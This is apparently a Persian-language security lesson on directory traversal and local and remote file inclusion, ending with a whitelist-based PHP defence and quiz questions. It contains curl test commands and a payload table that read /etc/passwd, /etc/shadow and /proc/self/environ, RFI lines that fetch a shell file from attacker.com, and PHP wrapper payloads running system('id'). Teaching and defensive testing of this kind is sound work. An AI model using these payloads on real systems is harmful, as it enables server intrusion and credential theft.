در حال بارگذاری...
بررسی آسیبپذیری مسیریابی دایرکتوری (Directory Traversal) و شاملسازی فایل (File Include) برای دسترسی غیرمجاز به فایلهای سیستم.
اهداف این درس
آسیبپذیری مسیریابی دایرکتوری (Directory Traversal یا Path Traversal) زمانی رخ میدهد که برنامه وب به کاربر اجازه میدهد با استفاده از کاراکترهای خاص مثل ../ فراتر از دایرکتوری مجاز حرکت کند و به فایلهای حساس سیستم دسترسی پیدا کند. شاملسازی فایل (File Inclusion) زمانی رخ میدهد که برنامه فایلها را بر اساس ورودی کاربر بارگذاری میکند.
حملهای که در آن مهاجم با استفاده از کاراکترهای ../ (dot-dot-slash) از دایرکتوری مجاز فراتر رفته و به فایلهای حساس سیستم دسترسی پیدا میکند.
آسیبپذیریای که در آن برنامه فایلهای محلی سرور را بر اساس ورودی کاربر بارگذاری میکند. مهاجم میتواند فایلهای حساس مثل /etc/passwd را بخواند.
آسیبپذیریای که در آن برنامه فایلها را از URL راه دور بارگذاری میکند. مهاجم میتواند فایلهای مخرب از سرور خود بارگذاری و اجرا کند.
این آسیبپذیریها میتوانند منجر به دسترسی غیرمجاز به فایلهای حساس سیستم، خواندن کد منبع برنامه، دسترسی به رمزهای عبور و تنظیمات، و حتی اجرای کد از راه دور شوند. در موارد حاد، مهاجم میتواند کنترل کامل سرور را به دست آورد.
خطر بالا
آسیبپذیری File Inclusion در صورت ترکیب با سایر آسیبپذیریها میتواند منجر به کنترل کامل سرور شود. RFI بهویژه خطرناک است زیرا مهاجم میتواند مستقیماً کد مخرب اجرا کند.
ابتدا تمام نقاطی که برنامه فایلها را بر اساس ورودی کاربر بارگذاری میکند شناسایی کنید. این نقاط معمولاً در پارامترهای URL، فرمها و headers وجود دارند.
1# جستجوی پارامترهایی که فایل بارگذاری میکنند2# مثالهای رایج:3# ?page=home.php4# ?file=config.inc5# ?template=default6# ?include=header.php7# ?lang=en8# ?document=report.pdf910# تست ساده Directory Traversal11curl "https://target.com/page=../../../etc/passwd"12curl "https://target.com/file=..\\..\\..\\windows\\win.ini"با استفاده از کاراکترهای ../ سعی کنید از دایرکتوری مجاز خارج شوید و به فایلهای حساس دسترسی پیدا کنید.
| payload | هدف | سیستمعامل |
|---|---|---|
| ../../../etc/passwd | فایل کاربران لینوکس | Linux |
| ../../../etc/shadow | رمزهای عبور لینوکس | Linux |
| ..\..\..\windows\win.ini | فایل پیکربندی ویندوز | Windows |
| ../../../proc/self/environ | متغیرهای محیطی | Linux |
| ../../../var/log/apache2/access.log | لاگ دسترسی | Linux |
| ../../../etc/hosts | فایل hosts | Linux |
اگر برنامه فایلها را بارگذاری میکند، هم LFI و هم RFI را تست کنید.
1# تست LFI2curl "https://target.com/page=../../../etc/passwd"3curl "https://target.com/page=php://filter/convert.base64-encode/resource=config.php"45# تست RFI6curl "https://target.com/page=http://attacker.com/shell.txt"7curl "https://target.com/page=//attacker.com/shell.txt"89# تست با PHP wrappers10curl "https://target.com/page=php://input" -d '<?php system("id"); ?>'11curl "https://target.com/page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOyA/Pg=="اگر فیلترهایی وجود دارند، تکنیکهای مختلف دور زدن را تست کنید:
LFI میتواند از طریق تکنیکهای مختلف به اجرای کد از راه دور (RCE) تبدیل شود:
| تکنیک | روش | پیشنیاز |
|---|---|---|
| Log Poisoning | تزریق کد در لاگ و بارگذاری آن | دسترسی به لاگها |
| PHP Wrappers | استفاده از php://input یا data:// | allow_url_include فعال |
| Session Files | تزریق کد در session و بارگذاری آن | شناسایی مسیر session |
| /proc/self/environ | تزریق کد در User-Agent | دسترسی به /proc |
| phpinfo() | استفاده از phpinfo برای شناسایی مسیر | صفحه phpinfo فعال |
آسیبپذیری Directory Traversal و File Inclusion میتواند منجر به دسترسی غیرمجاز به فایلهای حساس، خواندن رمزهای عبور و تنظیمات، اجرای کد از راه دور، و کنترل کامل سرور شود.
1<?php2// لیست سفید فایلهای مجاز3$allowed_files = ['home', 'about', 'contact', 'services'];4$page = $_GET['page'] ?? 'home';56// اعتبارسنجی ورودی7if (!in_array($page, $allowed_files)) {8 $page = 'home'; // مقدار پیشفرض9}1011// استفاده از مسیر امن12$safe_path = realpath(__DIR__ . '/pages/' . $page . '.php');13$base_path = realpath(__DIR__ . '/pages/');1415// بررسی اینکه فایل داخل دایرکتوری مجاز است16if ($safe_path === false || strpos($safe_path, $base_path) !== 0) {17 $page = 'home';18}1920include __DIR__ . '/pages/' . $page . '.php';21?>توصیه عملی
هرگز از ورودی کاربر مستقیماً برای مسیر فایل استفاده نکنید. همیشه از لیست سفید استفاده کنید و مسیر نهایی را با realpath() اعتبارسنجی کنید.
کاراکترهای ../ و ..\ برای حرکت در ساختار دایرکتوری استفاده میشوند.
فیلتر کردن کاراکترهای خاص بهتنهایی کافی نیست و باید لیست سفید استفاده شود.
LFI میتواند منجر به اجرای کد از راه دور از طریق تکنیکهایی مثل Log Poisoning شود.
RFI خطرناکتر از LFI است زیرا مهاجم میتواند فایلهای مخرب از سرور خود بارگذاری کند.
کدام payload برای دسترسی به فایل /etc/passwd از طریق Directory Traversal استفاده میشود؟
تفاوت بین LFI و RFI چیست؟
LFI (Local File Inclusion) شامل بارگذاری فایلهایی است که روی سرور محلی وجود دارند، مثل /etc/passwd. RFI (Remote File Inclusion) شامل بارگذاری فایلها از سرور راه دور است، مثل http://attacker.com/shell.php. RFI معمولاً خطرناکتر است زیرا مهاجم میتواند مستقیماً کد مخرب اجرا کند.
چگونه میتوان از Directory Traversal جلوگیری کرد؟
راههای جلوگیری شامل: استفاده از لیست سفید فایلهای مجاز، اعتبارسنجی ورودی کاربر، استفاده از توابع امن مثل realpath() برای حل مسیر، محدود کردن دسترسی به دایرکتوری خاص با chroot، و استفاده از sandboxing.
تکنیک Log Poisoning چیست؟
Log Poisoning تکنیکی است که در آن مهاجم کد مخرب را در لاگهای سرور (مثل access log) تزریق میکند، سپس با استفاده از LFI آن لاگ را بارگذاری میکند تا کد مخرب اجرا شود. این تکنیک LFI را به اجرای کد از راه دور تبدیل میکند.